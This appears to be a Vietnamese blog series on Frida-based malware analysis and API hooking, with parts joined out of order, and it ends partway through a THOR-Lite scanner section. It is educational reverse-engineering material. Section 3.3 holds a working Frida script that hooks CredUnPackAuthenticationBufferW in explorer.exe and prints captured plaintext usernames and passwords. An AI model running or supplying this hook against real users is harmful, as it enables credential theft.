Kết quả trên cho biết tại địa chỉ 0x400000 thuộc tính vùng nhớ được thay đổi thành 0x40 (PAGE_EXECUTE_READWRITE). Đây là vùng nhớ chưa tệp executable của mẫu gốc ban đầu. Vùng nhớ có địa chỉ 0x24d0000 ban đầu có thuộc tính 0x4 (PAGE_READWRITE) nghĩa là nó không có quyền thực thi, sau đó nó được thay đổi thành 0x20 (PAGE_EXECUTE_READ) và lúc này nó đã có quyền thực thi.

Tiến hành Dump vùng nhớ này tương tự như mẫu số 1 trước ta được:

Các bytes FC E8 thường được tìm thấy ở đầu shellcode (Metasploit và Cobalt Strike). Thông thường để phát hiện được vùng nhớ này là Shellcode thì ta phải có các signatures hay nói cách khác là cần có một bộ rules để phát hiện, dạng tự như YARA vậy. Một vài signature có thể áp dụng trong trường hợp này như:

• FC E8: CLD (clear direction flag) và CALL opcode

• 55 8B EC: Là các lệnh push ebp và mov ebp, esp (function prologue)

• EB: Lệnh jump

• E8: CALL instruction

Kết quả ta được như sau

Chạy lại và kiểm tra kết quả, chúng ta dump được shellcode ra disk

Đến bước này để phân tích Shellcode cần một công cụ có thể giả lập như: Qiling Framework, Libemu, Speakeasy của FireEye,.v.v.. Để đơn giản trong phần này tôi sử dụng scdbg và Speakeasy.

Kết quả khi sử dụng scdbg

Kết quả khi sử dụng Speakeasy, chi tiết hơn scdbg

5. Tổng kết

Sử dụng Frida trong phân tích Malware ngày càng phổ biến, Frida có nhiều ưu điểm mà các Debugger không có được song nó ko thể thay thế hoàn toàn được các Debugger. Chỉ nên sử dụng Frida để hỗ trợ tự động một số các bước trong quá trình phân tích để tăng tốc. Bài này chỉ ra một số phương pháp để xác định được Shellcode và các Executable được giải mã trên bộ nhớ của các tiến trình độc hại. Tóm tắt lại một số ý chính nhu sau:

• Xác định các APIs cần theo dõi

• Hooking vào các APIs như VirtualAlloc, VirtualProtect để theo dõi các vùng nhớ, đặc biệt là kiểm tra thuộc tính vùng nhớ (các quyền)

• Xác định dữ liệu trên vùng nhớ sau khi giải mã: có thể là executable hoặc shellcode

• Trích xuất vùng nhớ này ra disk để phục vụ giai đoạn phân tích sau.

6. Tham khảo

• Malware Analysis with Dynamic Binary Instrumentation Frameworks: https://blogs.blackberry.com/en/2021/04/malware-analysis-with-dynamic-binary-instrumentation-frameworks

Để có thể lấy được các thông tin trong khi một chương trình đang chạy hay thay đổi hành vi của nó thì Frida sử dụng một kỹ thuật gọi là Hooking. Frida cài đặt các hook tại các hàm của chương trình mục tiêu, Hook code sử dụng ngôn ngữ lập trình JavaScript. Để đơn giản thì có thể hiểu như sau: Khi Frida hook vào một hàm, chúng ta giám sát được đầu vào và đầu ra của hàm (tham số truyền vào và giá trị trả về), sửa đổi các giá trị đó hoặc thậm chí là cho hàm đó thực thi code của chúng ta thay vì code gốc,.v.v.. Những việc này đều thực hiện trong lúc chương trình chạy, mọi thay đổi đều diễn ra trên memory mà không làm thay đổi tệp chương trình. Kỹ thuật Hook được ứng dụng trong nhiều tình huống khác nhau, với mục đích tốt có mà xấu cũng có.

Để có thể Hook vào một chương trình, Frida tiến hành Inject một DLL có tên là frida-agent.dll vào bên trong vùng nhớ của chương trình đó khi nó đang chạy. Frida sử dụng các APIs trong dbghelp.dll để tra cứu các Symbols trên Windows, ngoài ra kể từ phiên bản 12.9.8 trở đi Frida đã hỗ trợ việc lookup các Symbol thông qua một Symbol Server. Những cải tiến này đến từ các chuyên gia của DarunGrim Company đã đóng góp cho dự án Frida.

Hình dưới đây mô tả cách Frida có thể lookup các Symbol trên Windows:

Tham khảo: https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html

Sử dụng Process Explorer trong bộ Sysinternal Suite có thể quan sát được, Frida đã inject frida-agent.dll vào bên trong notepad.exe:

Trước đó Frida giải nén các tệp cần thiết mà nó sử dụng vào thư mục: %LOCALAPPDATA%\Temp\frida-<random-32-character>\<32|64> ứng với tệp chương trình 32-bits hoặc 64-bits. Cấu trúc trông như sau:

$ tree
.
├── 32
│   ├── dbghelp.dll
│   ├── frida-agent.dll
│   └── symsrv.dll
└── 64
    ├── dbghelp.dll
    ├── frida-agent.dll
    └── symsrv.dll

2 directories, 6 files

Sơ đồ dưới đây mô tả cách mà Frida cài đặt các Hook và nhận thông báo từ các hook đã cài:

Tham khảo: https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html

Các đối tượng Frida, Session, Script tham gia vào quá trình này để quản lý cài đặt các Hook. Các Hook CallBack Functions được viết bằng JavaScript.

2. Sử dụng Frida cơ bản

2.1. Khởi chạy một chương trình bằng Frida

$ frida C:\Windows\System32\notepad.exe
     ____
    / _  |   Frida 14.2.18 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/
Spawned `C:\Windows\System32\notepad.exe`. Use %resume to let the main thread start executing!
[Local::notepad.exe]->

Lúc này tiến trình notepad.exe là tiến trình con được sinh ra bởi Frida:

Trong bộ công cụ frida-tools, chúng ta có một chương trình là frida-ps có thể liệt kê tất cả các tiến trình đang chạy trên hệ thống. Có thể sử dụng nó để xác nhận notepad.exe đã được khởi chạy:

$ frida-ps | findstr "notepad"
 14340  notepad.exe

2.2. Attach một tiến trình bằng Frida

Để attach một tiến trình bằng Frida, chúng ta phải tìm được PID của tiến trình cần attack sau đó sử dụng tham số -p của Frida:

$ frida-ps | findstr "mspaint"
 7800  mspaint.exe

$ frida -p 7800
     ____
    / _  |   Frida 14.2.18 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://frida.re/docs/home/

[Local::PID::7800]->

2.3. Sử dụng Frida Tracing

frida-trace là một công cụ trong bộ frida-tools. Công cụ này có thể Tracing/Monitor các API được gọi trong một chương trình. Giả sử chúng ta cần monitor hàm MessageBox và WriteFile trong notepad.exe.

$ frida-trace -i "MessageBoxW" -i "WriteFile" C:\Windows\System32\notepad.exe

3. Hooking Windows APIs bằng Frida

3.1. APIs Monitor với Frida

Có thể sử dụng Frida để hook vào một số hàm nào đó trong một chương trình với mục đích chặn bắt các tham số của hàm, thậm chí là sửa đổi các tham số này (Memory Patching). Trong trường hợp này tôi thử nghiệm hook vào hàm WriteFile và MessageBoxW của chương trình notepad.exe. Trước tiên, hãy cùng xem xét các hàm này được định nghĩa như thế nào trong tài liệu MSDN của Microsoft.

BOOL WriteFile(
  HANDLE       hFile,
  LPCVOID      lpBuffer,
  DWORD        nNumberOfBytesToWrite,
  LPDWORD      lpNumberOfBytesWritten,
  LPOVERLAPPED lpOverlapped
);

int MessageBoxW(
  HWND    hWnd,
  LPCWSTR lpText,
  LPCWSTR lpCaption,
  UINT    uType
);

Tham số lpBuffer của hàm WriteFile chính là con trỏ trỏ đến vùng đệm sẽ được ghi vào tệp. Theo thứ tự thì hàm này sẽ là tham số thứ hai. Tham số lpText của hàm MessageBoxW là nội dung sẽ hiển thị trên box, lpCaption là tiêu đề của box khi hiển thị.

Khi Frida hook vào các hàm ta chỉ định trong notepad.exe. Ta thực hiện một số hành động sau:

• Dump nội dung và in ra màn hình giá trị của lpBuffer trong hàm WriteFile

• In ra màn hình nội dung của lpText và lpCaption trong hàm MessageBoxW

var messageBox = Module.getExportByName(null, "MessageBoxW");
var writeFile = Module.getExportByName(null, "WriteFile");

Interceptor.attach(messageBox, {
    onEnter: function(args)
    {
		console.log("\nMessageBoxW at: " + messageBox);
        console.log("  lpText: " + Memory.readUtf16String(args[1]));
        console.log("  lpCaption: " + Memory.readUtf16String(args[2]));
    }
});

Interceptor.attach(writeFile, {
    onEnter: function(args)
    {
		console.log("\nWriteFile at: " + writeFile);
        console.log("  Buffer dump:\n" + hexdump(args[1]));
        console.log("  Buffer via utf16String: " + Memory.readUtf16String(args[1]));
    }
});

Lưu đoạn JavaScript này lại. Tôi đặt là apis_hooking.js. Khởi chạy lại notepad.exe với tham số -l để nạp script vừa viết:

$ frida -l .\hooking\apis_hooking.js C:\Windows\System32\notepad.exe --no-pause

Nhập một nội dung bất kỳ, ở đây tôi nhập chuỗi: "This is fun!", sau đó tiến hành lưu tệp ra ổ cứng và quan sát trong Frida ta được như sau:

WriteFile at: 0x7fff9f8b4fd0
  Buffer dump:
              0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
1e1a2823780  54 00 68 00 69 00 73 00 20 00 69 00 73 00 20 00  T.h.i.s. .i.s. .
1e1a2823790  66 00 75 00 6e 00 21 00 00 00 00 00 00 00 00 00  f.u.n.!.........
...
1e1a2823870  00 00 00 00 00 00 00 00 10 39 82 a2 e1 01 00 00  .........9......
  Buffer via utf16String: This is fun!

Tìm kiếm một chuỗi không tồn tại, mục đích để Notepad bắn ra MessageBox:

3.2. Memory Patching bằng Frida

Frida có một ưu điểm đó là trong lúc đang thực hiện hooking vào notepad.exe chúng ta có thể sửa mã JavaScript mà không cần phải chạy lại Frida, mã chúng ta sửa ngay lập tức được cập nhật. Chúng ta tiến hành sửa đoạn JavaScript trước đó thành như sau:

var messageBox = Module.getExportByName(null, "MessageBoxW");
var writeFile = Module.getExportByName(null, "WriteFile");
var buff = Memory.allocUtf16String("F*ck y0u!!!!!!!")

Interceptor.attach(messageBox, {
    onEnter: function(args)
    {
		args[1] = buff
		args[2] = buff
		console.log("\nMessageBoxW at: " + messageBox);		
        console.log("  lpText: " + Memory.readUtf16String(args[1]));
        console.log("  lpCaption: " + Memory.readUtf16String(args[2]));
    }
});

Interceptor.attach(writeFile, {
    onEnter: function(args)
    {
		args[1] = buff
		console.log("\nWriteFile at: " + writeFile);
        console.log("  Buffer dump:\n" + hexdump(args[1]));
        console.log("  Buffer via utf16String: " + Memory.readUtf16String(args[1]));
    }
});

Kết quả sau khi hook hàm MessageBoxW

Kết quả sau khi hook hàm WriteFile

WriteFile at: 0x7fff9f8b4fd0
  Buffer dump:
              0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
1e1a4376d40  46 00 2a 00 63 00 6b 00 20 00 79 00 30 00 75 00  F.*.c.k. .y.0.u.
1e1a4376d50  21 00 21 00 21 00 21 00 21 00 21 00 21 00 00 00  !.!.!.!.!.!.!...
..
1e1a4376e30  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
  Buffer via utf16String: F*ck y0u!!!!!!!

3.3. Chặn bắt thông tin xác thực trên Windows 10

Sử dụng Frida để chặn bắt thông tin xác thực người dùng. Đầu tiên hãy kiểm tra PID của tiến trình explorer. Chúng ta cần kiểm tra tiến trình này là vì thông thường khi chạy một chương trình thì nó là tiến trình con của explorer.

$ frida-ps | findstr "explorer"
20128  explorer.exe

Sử dụng Frida-Trace để theo dõi các API được gọi đến trong quá trình xử lý dữ liệu xác thực từ người dùng. Tôi sử dụng tham số -i "*Cred*" để lọc các API chứa chuỗi Cred, -x "CredFree" sẽ không theo dõi hàm CredFree().

$ frida-trace -i "*Cred*" -x "CredFree" -p 20128

Khởi chạy chương trình C:\Windows\System32\notepad.exe với tùy chọn Run as different user

Lúc này một hộp thoại Windows Security xuất hiện đòi chúng ta nhập thông tin xác thực. Đồng thời ta quan sát trong Frida, hàm CredUIPromptForWindowsCredentialsW() được gọi:

Started tracing 159 functions. Press Ctrl+C to stop.
           /* TID 0x42c0 */
 90061 ms  CredUIPromptForWindowsCredentialsW()
 90061 ms     | CredUIInternalPromptForWindowsCredentialsW()
 90061 ms     |    | CredUIInternalPromptForWindowsCredentialsWorker()

Nhập đại một vài thông tin nào đó sau đó nhấn OK.

Quan sát trong Frida ta thấy một số API thú vị sau được gọi:

257149 ms  CredUnPackAuthenticationBufferW()
257149 ms  CredUnPackAuthenticationBufferW()
257149 ms     | CredUnprotectW()
257149 ms     |    | CredUnprotectEx()
257149 ms     |    |    | CredUnmarshalCredentialW()
257149 ms  CredUIParseUserNameW()
257149 ms     | CredIsMarshaledCredentialW()
257149 ms     |    | CredUnmarshalCredentialW()
257150 ms  CredUIPromptForWindowsCredentialsW()
257150 ms     | CredUIInternalPromptForWindowsCredentialsW()
257150 ms     |    | CredUIInternalPromptForWindowsCredentialsWorker()

Chúng ta không cần quan tâm đến đoạn: 257150 ms CredUIPromptForWindowsCredentialsW() vì đoạn này lặp lại đoạn trước đó, nó hiển thị hộp thoại Windows Security đòi nhập thông tin xác thực. Hàm cần quan tâm nhiều hơn là CredUnPackAuthenticationBufferW(). Cùng xem định nghĩa của hàm này trên MSDN:

CREDUIAPI BOOL CredUnPackAuthenticationBufferW(
  DWORD  dwFlags,
  PVOID  pAuthBuffer,
  DWORD  cbAuthBuffer,
  LPWSTR pszUserName,
  DWORD  *pcchMaxUserName,
  LPWSTR pszDomainName,
  DWORD  *pcchMaxDomainName,
  LPWSTR pszPassword,
  DWORD  *pcchMaxPassword
);

Tham số mà chúng ta cần quan tâm đó là: pszUserName và pszPassword.

var pszUserName, pszPassword, decryptedUsername, decryptedPassword;
var credUnPackAuthenticationBufferW = Module.findExportByName("Credui.dll", "CredUnPackAuthenticationBufferW");

Interceptor.attach(credUnPackAuthenticationBufferW, {
    onEnter: function (args)
	{
        // Credentials here are still encrypted
        pszUserName = args[3];
        pszPassword = args[7];
    },
    
		onLeave: function (result)
		{
        // Credentials are now decrypted
        decryptedUsername = pszUserName.readUtf16String()
        decryptedPassword = pszPassword.readUtf16String()
        if (decryptedUsername && decryptedPassword)
		{
			console.log("\n[*] Intercepted Credentials: ");
			console.log("[+] Username: " + decryptedUsername);
			console.log("[+] Password: " + decryptedPassword);
        }
    }
});

Dùng Frida hook vào Explorer:

$ frida-ps | findstr "explorer"
 6724  explorer.exe

$ frida -l .\hooking\credential_theft.js -p 6724

Làm tương tự các bước như trên để nhập username và password. Sau đó quan sát trên Frida, ta có được thông tin xác thực đã bị chặn bắt:

$ frida -l .\hooking\credential_theft.js -p 6724
[Local::PID::6724]->
[*] Intercepted Credentials:
[+] Username: %COMPUTERNAME%\Alice
[+] Password: this_1s_s3cret_passw0rd

3.4. Remote Debugging/Hooking với Frida

Ở các phần trước chúng ta đã thực hành Tracing, Patching với Frida, tuy nhiên những gì chúng ta làm chỉ là trên một máy (localhost). Phần này chúng ta sẽ đi giải một CrackMe đơn giản và chương trình CrackMe này sẽ nằm ở một máy tính khác không phải localhost. Để làm được điều này thì máy tính chạy CrackMe kia cần phải chạy Frida-Server, chương trình này sẽ chạy lắng nghe trên một IP:PORT nào đó và đợi kết nối đến. Từ một máy tính khác sử dụng Frida-CLI (Client) để kết nối Server đến thông qua giao thức TCP.

Chương trình CrackMe của chúng ta hoạt động như sau: Nhập mật khẩu sau đó kiểm tra nếu đúng thì in ra Congrats! còn nếu sai thì in ra Try again.

$ crackme-101.exe
Enter Password: 123456
Try again.

Đầu tiên hãy tải Frida Server ứng với phiên bản Hệ điều hành đang sử dụng tại: https://github.com/frida/frida/releases. Tôi sử dụng Windows 10 64-bits nên tôi tải file: frida-server-<version>-windows-x86_64.exe.xz. Sau đó khởi chạy Frida-Server trên máy chạy CrackMe: Tham số -l chỉ ra địa chỉ ip muốn lắng nghe, có thể lắng nghe trên một interface cụ thể của máy hoặc tất cả các interface:

$ frida-server.exe -l 0.0.0.0

Kiểm tra lại và đảm bảo rằng Frida-Server chắc chẵn đã chạy, nếu có bật tường lửa thì cần cho phép kết nối thông qua Port 27042 vì đây là Port mặc định của Frida-Server:

$ netstat -ano | findstr :27042
  TCP    0.0.0.0:27042          0.0.0.0:0              LISTENING       312

$ tasklist /fi "pid eq 312"

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
frida-server.exe               312 RDP-Tcp#5                  2      7,976 K

Kiểm tra chương trình bằng bất kỳ một công cụ nào như: CFF Explorer, PE-Studio, PE-Bear,.v.v.. chúng ta đều có thể thấy chương trình này có Import một hàm strncmp(). Chúng ta sẽ hook hàm này. Trên một máy tính khác (Client) có cài bộ công cụ Frida-Tools. Trước tiên chúng ta thực hiện như sau, để xác nhận rằng chương trình CrackMe có gọi đến hàm strncmp(). Trong đó 192.168.40.98 là địa chỉ máy từ xa, còn C:\Users\Admin\Desktop\Sample\crackme-101.exe là đường dẫn chương trình muốn chạy.

$ frida-trace -i "strncmp" -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe

Tại máy từ xa lúc này khi kiểm tra bằng Process Explorer chúng ta sẽ thấy CrackMe được Run bởi Frida-Server

Trên Console của Frida-Server, nhập mật khẩu sau đó quan sát kết quả:

Quay lại phía client chúng ta thấy hàm strncmp() đã được gọi

$ frida-trace -i "strncmp" -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe
Instrumenting...
...
Started tracing 3 functions. Press Ctrl+C to stop.
           /* TID 0x2230 */
435830 ms  strncmp()
Process terminated

Tiến hành viết Script hook vào hàm strncmp(): Xem định định nghĩa hàm này tại: https://www.cplusplus.com/reference/cstring/strncmp/

var strncmp = Module.findExportByName("msvcrt.dll", "strncmp");

Interceptor.attach(strncmp, {
    onEnter: function(args)
    {
		console.log("\nstrncmp at: " + strncmp);		
        console.log("  str1: " + Memory.readUtf8String(args[0]));
        console.log("  str2: " + Memory.readUtf8String(args[1]));
        console.log("   num: " + args[2]);
    }
});

Trên máy client chạy lại lần 1 và trên máy từ xa nhập mật khẩu là 123456 và quan sát kết quả:

$ frida -l .\hooking\apis_hooking_remote.js -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe --no-pause
...
[Remote::crackme-101.exe]->
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: 8;:=<?♥
   num: 0x14
Process terminated

Trên máy client chạy lại lần 2 và trên máy từ xa nhập mật khẩu là abc123 và quan sát kết quả:

[Remote::crackme-101.exe]->
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: hkj8;:♥
   num: 0x14
Process terminated

Nhận thấy chuỗi str1 sau các lần chạy đều không thay đổi, chỉ có dữ liệu nhập tức str2 là thay đổi, như vậy khả năng dữ liệu nhập của chúng ta phải đi qua một hàm mã hóa nào đó, cuối cùng kết quả mới đem so sánh với chuỗi str1 là z8dye:Vq9{V:gJ{py}(. Lúc này cần một chút kiến thức về Static Code Analysis, sau khi phân tích biết được hàm mã hóa sử dụng phép XOR để mã hóa. Nhận thấy đặc điểm của phép XOR gồm 3 toán hạng và nếu đem bất kỳ 2 toán hạng nào trong đó XOR với nhau thì sẽ ra toán hạng còn lại. Như vậy nếu chúng ta nhập chuỗi str1 của chương trình thì chuỗi str2 sẽ là mật khẩu cần tìm. Trên máy Remote thực hiện:

...
Enter Password: z8dye:Vq9{V:gJ{py}(
Try again.

Tại máy client quan sát được:

[Remote::crackme-101.exe]->
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: s1mpl3_x0r_3nCrypt!
   num: 0x14
Process terminated

Sử dụng Password tìm được là chuỗi str2, để kiểm tra. Kết quả chương trình hiện ra Congrats!

...
Enter Password: s1mpl3_x0r_3nCrypt!
Congrats!

Khi đó trên máy Client quan sát ta sẽ thấy được:

[Remote::crackme-101.exe]->
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: z8dye:Vq9{V:gJ{py}(
   num: 0x14
Process terminated

Ngoài ra cũng có cách khác để giải quyết CrackMe này đó là Memory Patching, khi hook vào hàm strncmp() chúng ta sẽ làm cho điều kiện trả về là 2 chuỗi luôn luôn bằng nhau.

var strncmp = Module.findExportByName("msvcrt.dll", "strncmp");

Interceptor.attach(strncmp, {

    onEnter: function(args)
    {
        args[1] = args[0]
		console.log("\nstrncmp at: " + strncmp);		
        console.log("  str1: " + Memory.readUtf8String(args[0]));
        console.log("  str2: " + Memory.readUtf8String(args[1]));
    }
});

Lúc này chúng ta nhập bất kỳ mật khẩu nào chương trình vẫn in ra chuỗi Congrats!

$ frida -l .\hooking\apis_hooking_remote.js -H 192.168.40.98 C:\Users\Admin\Desktop\Sample\crackme-101.exe --no-pause
...
Spawned `C:\Users\Admin\Desktop\Sample\crackme-101.exe`. Resuming main thread!
[Remote::crackme-101.exe]->
strncmp at: 0x76adac30
  str1: z8dye:Vq9{V:gJ{py}(
  str2: z8dye:Vq9{V:gJ{py}(
Process terminated

4. Tham khảo

• Instrumenting Windows APIs with Frida - https://www.ired.team/miscellaneous-reversing-forensics/windows-kernel-internals/instrumenting-windows-apis-with-frida

• Getting Started with Frida: Hooking a Function and Replacing its Arguments - https://blog.fadyothman.com/getting-started-with-frida-hooking-main-and-playing-with-its-arguments

• Using Frida For Windows Reverse Engineering - https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html

• 3 Ways to Run App as Different User in Windows 10 - https://www.top-password.com/blog/run-app-as-different-user-in-windows-10/

Instrumentation: Là phương pháp thêm một số đoạn mã trung gian (gọi là Instrumentation Code - IC) vào chương trình để lấy các thông tin hay sửa đổi hành vi chương trình trong quá trình nó thực thi. Để thực hiện Instrumentation, có 2 phương pháp chính đang được sử dụng hiện nay:

1. Source Code Instrumentation (SCI): Tức là thêm IC vào chương trình trước khi biên dịch. Quá trình này chỉ thực hiện được nếu có source code của chương trình. Đây là phương pháp instrumentation mà American Fuzzy Lop (AFL Fuzzer) của lcamtuf đang sử dụng.

2. Binary Instrumentation (BI): Là phương pháp thêm IC vào chính file thực thi của chương trình. BI cũng có 2 phương pháp có thể thực hiện:

   • Static Instrumentation: Sử dụng một chương trình disassembler hay emulator để ghi các đoạn mã IC vào trong binary nhưng không làm thay đổi hoạt động của chương trình ban đầu.

   • Dynamic Instrumentation: Chèn IC vào chương trình trong quá trình thực thi, không làm ảnh hưởng tới file binary ban đầu. Đây là cách tiếp cận của Pin, Frida, DynamoRIO,.v.v..

Ứng dụng của Instrumentation: Flow Analysis, Taint Analysis, Fuzzing, Code Coverage, Test Case Generation, Reverse Engineering, Debugging, Vulnerability Detection, Patching, Exploit Development,.v.v..

2. Giới thiệu và cài đặt Frida Framework

2.1. Giới thiệu

Frida được ví như là Greasemonkey dành cho Native Application. Nói một cách kỹ thuật hơn thì Frida là một Dynamic Code Instrumentation Toolkit, như đã trình bày ở phần trước Frida sử dụng phương pháp DBI. Frida cho phép chúng ta đưa mã JavaScript ta viết vào các ứng dụng chạy trên Windows, macOS, Linux, iOS, Android,.v.v..

Phần core của Frida được viết bằng ngôn ngữ lập trình C và để thực thi được mã JavaScript bên trong một tiến trình thì Frida đã sử dụng một Javascript Engine đó là: QuickJS. Đây là thành phần sẽ thực thi mã JavaScript của chúng ta viết.

Frida có thể được sử dụng với nhiều ngôn ngữ lập trình khác nhau thông qua các API mà Frida cung cấp. Các ngôn ngữ lập trình hiện tại đang được hỗ trợ: C, NodeJS, Python, Swift, .NET, Qml,.v.v..

Một vài Ưu điểm của Frida:

• Scriptable: Đưa các mã JavaScript của bạn vào bên trong một tiến trình. Hook vào bất kỳ hàm nào, theo dõi đầu vào và đầu ra của các hàm này. Thậm chí là sửa đổi hành vi thực thi của chương trình. Mọi thứ thực hiện không cần mã nguồn của ứng dụng, trong quá trình thực thi mọi thứ chúng ta viết không cần biên dịch, không cần phải khởi động lại mỗi lần sửa đổi mã JavaScript,.v.v..

• Portable: Hoạt động đa nền tảng: Windows, Linux, macOS, iOS, Android,.v.v.. Hỗ trợ nhiều ngôn ngữ lập trình: Python, .NET, C, Swift,.v.v..

• Free: Luôn miễn phí và nguồn mở

• Battle-tested: Rất nhiều nhà cung cấp dịch vụ bảo mật, hãng bảo mật làm các sản phẩm lớn đã và đang sử dụng Frida trong dự án của họ. Và Frida đã trải qua nhiều năm thử nghiệm với nhiều case sử dụng.

2.2. Cài đặt

Frida có sẵn một bộ các công cụ được viết bằng Python. Có thể cài đặt Frida thông qua Pip:

$ pip install frida-tools

Thao tác này sẽ cài đặt bộ các công cụ của Frida được viết bằng Python như: frida-create, frida-discover, frida-kill, frida-ls-devices, frida-ps, frida-trace, frida

Để sử dụng Frida thông qua Python API. Có thể cài đặt Frida Package thông qua Pip:

$ pip install frida

3. Tài liệu tham khảo

• Giới thiệu Intel Pin Binary Instrumentation Tool - https://develbranch.com/tutorials/gioi-thieu-intel-pin-binary-instrumentation.html

• Dynamic Binary Instrumentation Frameworks: I know youre there spying on me - https://www.coresecurity.com/core-labs/publications/dynamic-binary-instrumentation-frameworks

Theo mặc định trong cấu hình của THOR như sau: .\config\thor.yml

• max_runtime: 168 ⇒ Dừng quét THOR sau 7 ngày nếu nó vẫn chưa quét xong

• min: 40 ⇒ THOR đánh điểm số cho mỗi file hoặc mỗi artifact mà nó phát hiện. 40 điểm là số điểm tối thiểu sẽ đưa vào Report

• max_file_size: 12000000 ⇒ Kích thước tệp tối đa có thể quét: ~12MB

• max_file_size_intense: 30000000 ⇒ Ở chế độ: --fsonly, --intense THOR có thể quét tệp lớn hơn max_file_size, cấu hình này chỉ định kích thước tối đa của tệp khi quét chế độ này.

• cpulimit: 95 ⇒ Không cho THOR quét vượt quá 95% CPU

• minmem: 50 ⇒ Dung lượng bộ nhớ trống tối thiểu để THOR có thể chạy: 50MB

• truncate: 2048 ⇒ Giới hạn số ký tự đầu ra của THOR, không vượt quá độ dài là: 2048

Mặc định phiên bản THOR-Lite (free) chỉ có các Module sau: Autoruns, ProcessCheck, Filesystem Checks

1. Malware Files Scanner

1.1. Quét thư mục và mã hóa Report

Sử dụng trong trường hợp quét malware, webshell, các tệp tin khả nghi trên hệ thống hoặc trong một thư mục cụ thể:

$ .\thor-lite.exe --fsonly --path "path\to\dir\" --json --encrypt --pubkey ".\thor-lite-rsa.pem" --silent

Hoặc với CMD.EXE:

$ thor-lite.exe --fsonly --path "path\to\dir\" --json --encrypt --pubkey "thor-lite-rsa.pem" --silent

Các tham số:

• --fsonly: Chỉ quét tệp tin hệ thống. Tham số: --path "path\to\dir\" sẽ chỉ định thư mục được quét, nếu không có tham số này thì THOR sẽ quét toàn bộ các phân vùng, sẽ tốn nhiều thơn gian hơn.

• --path: Chỉ định quét một thư mục hoặc một phân vùng

• --json: Ghi Report dưới dạng JSON. Tên Report được Gen tự động. Sử dụng tham số: --jsonfile "example.json" để chỉ định tên tệp Report

• --encrypt: Mã hóa Report bằng thuật toán RSA. Theo mặc định sử dụng Public key được hardcode. Nếu muốn chỉ định Public key thì dùng thêm tham số: --pubkey ".\thor-lite-rsa.pem"

• --silent: Không in bất kỳ thông tin, logs gì cả trong quá trình THOR quét ra console.

Theo mặc định thì THOR xuất Report gồm các file: *.csv (chứa md5, filepath, score) của các tệp bị phát hiện là malware, *.htm (dạng htm/html, có thể mở bằng trình duyệt), *.txt (dạng plaintext, quan trọng khi muốn tổng hợp tất cả các report lại thành một file report dạng HTML sau này). Và khi thêm tham số --json hoặc --jsonfile sẽ có thêm tệp report dạng *.json.

1.2. Giải mã các Report

Giải mã các tệp report của THOR đã quét trước đó nếu dùng tùy chọn mã hóa tệp tin:

$ .\thor-lite-util.exe decrypt --privkey "path\to\thor-rsa-private.pem" .\DESKTOP-VQP1V6E_files_md5s.csv .\DESKTOP-VQP1V6E_thor_2021-04-28_1548.htm .\DESKTOP-VQP1V6E_thor_2021-04-28_1548.txt .\DESKTOP-VQP1V6E_thor_2021-04-28_1548.json

Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file '.\DESKTOP-VQP1V6E_files_md5s.csv' ...
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file '.\DESKTOP-VQP1V6E_thor_2021-04-28_1548.htm' ...
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file '.\DESKTOP-VQP1V6E_thor_2021-04-28_1548.txt' ...
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file '.\DESKTOP-VQP1V6E_thor_2021-04-28_1548.json' ...
Apr 28 08:51:18 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted

Sử dụng Powershell để tự động hóa với số lượng lớn các report:

$ cd "path\to\report\dir\"
\( \)files = (Get-ChildItem).Name
\( \)thor_cmd = "path\to\thor-lite-util.exe decrypt --privkey path\to\key.pri "
\( foreach(\)item in \(files) { Invoke-Expression -Command "\)thor_cmd $item" }

Hoặc với CMD.EXE:

$ thor-lite-util.exe decrypt --privkey "path\to\thor-rsa-private.pem" DESKTOP-VQP1V6E_files_md5s.csv DESKTOP-VQP1V6E_thor_2021-04-28_1604.htm DESKTOP-VQP1V6E_thor_2021-04-28_1604.json DESKTOP-VQP1V6E_thor_2021-04-28_1604.txt

Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file 'DESKTOP-VQP1V6E_files_md5s.csv' ...
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file 'DESKTOP-VQP1V6E_thor_2021-04-28_1604.htm' ...
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Successfully encrypted
Apr 28 09:06:38 desktop-vqp1v6e THOR_LITE_UTIL: Info: Decrypting file 'DESKTOP-VQP1V6E_thor_2021-04-28_1604.json' ...
